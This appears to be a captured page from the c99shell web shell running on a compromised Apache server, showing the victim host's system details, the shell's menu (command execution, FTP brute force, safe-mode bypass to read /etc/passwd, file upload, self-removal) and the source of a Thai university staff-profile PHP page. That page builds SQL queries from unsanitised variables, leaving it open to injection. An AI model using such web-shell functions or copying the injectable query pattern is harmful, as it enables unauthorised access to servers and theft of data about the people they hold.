!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 52.63 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ShowPersonalDetail.php (16.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("../include/FunctionDB.php");
include("../include/Function.php");
include("admin_menuS.php");
ConnectDB();
$sql = "Select * From personal_tb Where Teacher_code='$Teacher_code' ";
$result = mysql_query($sql) or die(" Error").mysql_error();
$rs = mysql_fetch_array($result)
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style1 {font-size: 14px}
-->
</style>
<table width="814" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td width="814"><br />
        <fieldset>
        <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="../index.php" >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="../PersonalData.php">ข้อมูลบุคลากร</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />รายละเอียดบุคลากร</font></legend>
          <label></label>
        <div align="center">
          <form id="form1" name="form1" method="post" action="InsertSalary.php">
            <table width="85%" border="0" align="center" cellpadding="0" cellspacing="0" style="border:0px solid gray">
              <!--DWLayoutTable-->
              <tr bgcolor="#CEE6FF">
                <td colspan="3" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></td>
              </tr>
              <tr bordercolor="#E7FAFE">
                <td height="20" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><div align="center" class="style1"><font color="#003300" face="Tahoma">สังกัด ภาค/ฝ่าย</font></div></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                  <?php
		 $Faculty_code =  $rs["Faculty_code"];
		 $sql = "Select * From  faculty_tb Where Faculty_code='$Faculty_code'";
          $result1 = mysql_query($sql) or die("Error".mysql_error());
		  $rss = mysql_fetch_array($result1);
          echo "$rss[Faculty_name] ";
		 ?>
                </font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
              </tr>
              <tr bordercolor="#E7FAFE">
                <td width="147" height="19" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><div align="center" class="style1"><font color="#003300" face="Tahoma">ชื่อ-นามสกุล</font></div></td>
                <td width="291" nowrap="nowrap" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma"><? echo $rs[First_name] ?> &nbsp; <? echo $rs[Teacher_name] ?> <? echo $rs[Teacher_lastname] ?> </font></td>
                <td width="235" rowspan="8" nowrap="nowrap" bgcolor="#FFFFFF"><?php
		echo"<center>";
		echo"<img src=\"$rs[Img1]\" width=\"180\" height=\"200\" >";
    	echo"</center>";
	   ?></td>
              </tr>
              <tr bordercolor="#FFFFFF">
                <td height="20" nowrap="nowrap" bgcolor="#FFFFFF"><div align="center"><font face="Tahoma"><span class="style1">ประเภทอาจารย</span></font><font size="2" face="Tahoma">์</font></div></td>
                <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">&nbsp;</font><font size="2" face="Tahoma">
                  <? 
	  $Teacher_type  = $rs[Teacher_type];
	  $sql1 = "SELECT * FROM teacher_type_tb Where  Ttype_code='$Teacher_type'";
	  $result1 = mysql_query($sql1);
	  $rs1 = mysql_fetch_array($result1);
	  echo $rs1[Ttype_name]; 
	  ?>
                </font><font color="#003366" size="2" face="Tahoma">&nbsp;&nbsp;</font></td>
              </tr>
              <tr bordercolor="#FFFFFF">
                <td height="20" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><div align="center" class="style1"><font color="#003300" face="Tahoma">ตำแหน่งการบริหาร</font></div></td>
                <td width="291" nowrap="nowrap" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><? echo $rs[Manage_pos]?></font></td>
              </tr>
              <tr bordercolor="#E7FAFE">
                <td height="20" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><div align="center" class="style1"><font face="Tahoma">ประเภทบุคลากร</font></div></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">
                <?php 
	//   echo"$rs["Ptype_code"]";
	   $Ptype_code = $rs["Person_type"];
	//   echo"$Ptype_code";
	    $sql1 = "Select * From person_type_tb Where Ptype_code='$Ptype_code'";
		$result1 = mysql_query($sql1) or die(" Error ".mysql_error());
		$rs1 = mysql_fetch_array($result1);
		echo "$rs1[Ptype_name]";
	  
	  ?>
                </font></td>
              </tr>
              <tr bordercolor="#E7FAFE">
                <td height="20" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><div align="center" class="style1"><font face="Tahoma">ความเชี่ยวชาญ</font></div></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">&nbsp;</font><font color="#003366" size="2" face="Tahoma">&nbsp;&nbsp;</font></td>
              </tr>
              <tr bordercolor="#E7FAFE">
                <td height="20" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><div align="center" class="style1"><font face="Tahoma">ความสามารถพิเศษ</font></div></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma"><?php echo nl2br($rs["Skill"]) ;?></font></td>
              </tr>
              <tr bordercolor="#E7FAFE">
                <td height="20" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td nowrap="nowrap" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
              </tr>
              <tr bordercolor="#E7FAFE">
                <td height="20" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><div align="center" class="style1"><font face="Tahoma">E-mail</font></div></td>
                <td width="291" nowrap="nowrap" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
              </tr>
              <tr bordercolor="#E7FAFE">
                <td height="20" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><div align="center" class="style1"><font color="#003300" face="Tahoma">วุฒิการศึกษาสูงสุด</font></div></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">
                  <?php
	    $Degree_code = $rs["Degree_code"];
	   $sql = "Select * From degree_tb  Where Degree_code ='$Degree_code'";
       $result2 = mysql_query($sql) or die(" Error $sql".mysql_error());
	   $row2= mysql_fetch_array($result2);
	   echo"$row2[Degree_name]";

	 ?>
                </font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
              </tr>
              <tr bgcolor="#CEE6FF">
                <td height="20" colspan="3"><table width="692" border="0" align="center" cellpadding="0" cellspacing="0">
                  <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><div align="left"></div>
                        <table width="100%" border="0" cellspacing="1" cellpadding="0">
                          <tr>
                            <td width="18%" rowspan="7" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ภาระงาน</font></div></td>
                            <td width="3%" bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><img src="../Image/arrow.gif" width="15" height="10" /></div></td>
                            <td width="66%" bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" > <span class="style1"><font face="Tahoma"><a href="../showTrainingList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g style1">ประวัติการพัฒนาตนเอง</a></font></span></td>
                            <td width="13%" bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                                <?php
	    $Teacher_code = $rs[Teacher_code];
	   $sql = "Select * From training_tb  Where Teacher_code ='$Teacher_code'";
       $resultc = mysql_query($sql) or die(" Error $sql".mysql_error());
	   $Tc= mysql_num_rows($resultc);
	   echo"$Tc";

	 ?>
                              ระเบียน </font></div></td>
                          </tr>
                          <tr>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><img src="../Image/arrow.gif" width="15" height="10" /></div></td>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><span class="style1"><font face="Tahoma"><a href="../ResList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g style1">งานวิจัย</a></font></span></td>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                                <?php
	    $Teacher_code = $rs[Teacher_code];
	   $sql = "Select * From research_tb  Where Teacher_code ='$Teacher_code'";
       $resultr = mysql_query($sql) or die(" Error $sql".mysql_error());
	   $Rc= mysql_num_rows($resultr);
	   echo"$Rc";

	 ?>
                              ระเบียน </font></div></td>
                          </tr>
                          <tr>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><img src="../Image/arrow.gif" width="15" height="10" /></div></td>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><span class="style1"><font face="Tahoma"><a href="../ProductList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g style1">ผลงานวิชาการ</a></font></span></td>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                                <?php
	    $Teacher_code = $rs[Teacher_code];
	   $sql = "Select * From edu_product_tb  Where Teacher_code ='$Teacher_code'";
       $resultE = mysql_query($sql) or die(" Error $sql".mysql_error());
	   $Ec= mysql_num_rows($resultE);
	   echo"$Ec";

	 ?>
                              ระเบียน </font></div></td>
                          </tr>
                          <tr>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><img src="../Image/arrow.gif" width="15" height="10" /></div></td>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><a href="../PerCommitList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g style1"><font face="Tahoma">งานบริการวิชาการ</font></a></td>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                                <?php
	    $Teacher_code = $rs[Teacher_code];
	   $sql = "Select * From committee_tb  Where Teacher_code ='$Teacher_code'";
       $resultC = mysql_query($sql) or die(" Error $sql".mysql_error());
	   $Cc= mysql_num_rows($resultC);
	   echo"$Cc";

	 ?>
                              ระเบียน </font></div></td>
                          </tr>
                          <tr>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><img src="../Image/arrow.gif" width="15" height="10" /></div></td>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><span class="style1"><font face="Tahoma"><a href="../showClassTeach.php?officerCode=<? echo $rs[Teacher_id]?>" class="g">ตารางสอนนักศึกษา</a></font></span></td>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" >&nbsp;</td>
                          </tr>
                          <tr>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><img src="../Image/arrow.gif" width="15" height="10" /></div></td>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><span class="style1"><font face="Tahoma"><a href="../PlanList.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="g">แผนการสอนรายวิชา</a></font></span></td>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                                <?php
	    $Teacher_code = $rs[Teacher_code];
	   $sql = "Select * From tech_plan_tb  Where Teacher_code ='$Teacher_code'";
       $resultp = mysql_query($sql) or die(" Error $sql".mysql_error());
	   $pc= mysql_num_rows($resultp);
	   echo"$pc";

	 ?>
                              ระเบียน </font></div></td>
                          </tr>
                          <tr>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><img src="../Image/arrow.gif" width="15" height="10" /></div></td>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><span class="style1"><font face="Tahoma"><a href="../StdAdviceList.php?officerId1=<? echo $rs[officerId1]?>" class="g">นักศึกษาในความรับผิดชอบ</a></font></span></td>
                            <td bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'" ><div align="center"><font color="#003366" size="2" face="Tahoma">
                            ระเบียน</font></div></td>
                          </tr>
                    </table></td>
                  </tr>
                  
                  <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">&nbsp; สังกัดหน่วยงาน</font><font color="#003366" size="2" face="Tahoma"> :&nbsp;
                          <?php 
	  $Faculty_code = $rs[Faculty_code];
	  $sql = "Select * From faculty_tb Where Faculty_code='$Faculty_code'";
	  $result1 = mysql_query($sql) or die("Error".mysql_error());;
	  $rss = mysql_fetch_array($result1);
	  echo $rss[Faculty_name] ;
	  ?>
                                        </font></td>
                  </tr>
                  <tr>
                    <td width="693" height="25" bgcolor="#FFFFFF" ><p>&nbsp;</p>
                    <p>&nbsp;</p></td>
                  </tr>
                </table></td>
              </tr>
            </table>
            <p>&nbsp;</p>
          </form>
        </div>
      </fieldset>
      <br />
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br />
    </font></td>
  </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.006 ]--